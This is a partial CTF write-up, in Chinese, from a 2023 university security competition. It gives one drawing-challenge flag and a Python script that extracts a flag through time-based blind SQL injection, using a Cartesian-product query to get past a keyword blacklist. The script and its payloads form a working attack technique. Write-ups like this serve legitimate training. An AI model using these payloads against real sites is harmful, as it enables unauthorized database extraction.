2023巅峰极客高校网络安全技能竞赛 部分WriteUp

考点：画图

找个在线网站把图画出来看看

得到flag{Funct10n_Fun}

考点：时间盲注，waf黑名单绕过

helloSQL，时间盲注，经过测试 

过滤了union,count,*,if,sleep,benchmark,pg_sleep 

这个题目有两种思路一种是用get_lock加锁来进行时间盲注，一种是利用大量运行增长执行时间达到时间盲注。 

这个题目我采用的是后者，直接用笛卡尔积进行大量运算

import requests
import string
import threading
import time

url = "http://web-5c84a005fe.challenge.xctf.org.cn/"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
flag = ""

for i in range(1, 100):
    time.sleep(0.14)
    low = 32
    high = 127
    mid = (low + high) // 2

    while (low < high):
        # payload = "1" and if(ascii(substr((select(database())),{},1))>{},sleep(1),1)#".format(i, mid)
        # "?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+"
        # payload = "' OR CASE WHEN ASCII(SUBSTR((SELECT(DATABASE())),1,1))>1 THEN (SELECT MAX(A.TABLE_NAME) FROM information_schema.columns A, information_schema.columns B) END#"
        # payload = "' OR 1=1#"
        # payload = "' OR CASE WHEN ASCII(SUBSTR((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} THEN (SELECT MAX(A.TABLE_NAME) FROM information_schema.columns A, information_schema.columns B) END#".format(i, mid)
        payload = "' OR CASE WHEN ASCII(SUBSTR((select(group_concat(Flagg))from(ctf.Flllag)),{},1))>{} THEN (SELECT MAX(A.TABLE_NAME) FROM information_schema.columns A, information_schema.columns B) END#".format(i, mid)
        start_time = time.time()
        r = requests.get(url=url, params={
            "id": payload
        }, headers=headers)
        # r = requests.get(url + "?id=" + payload,headers=headers)
        end_time = time.time()
        # print(end_time-start_time)
        if (end_time - start_time) >= 0.5:
            low = mid + 1

        else:
            high = mid
        mid = (low + high) // 2

    if mid == 32 or mid == 127:
        break
    print(i)
    flag += chr(mid)

    # print(i)
    print("content:" + flag)

print("Finally:")
print(flag)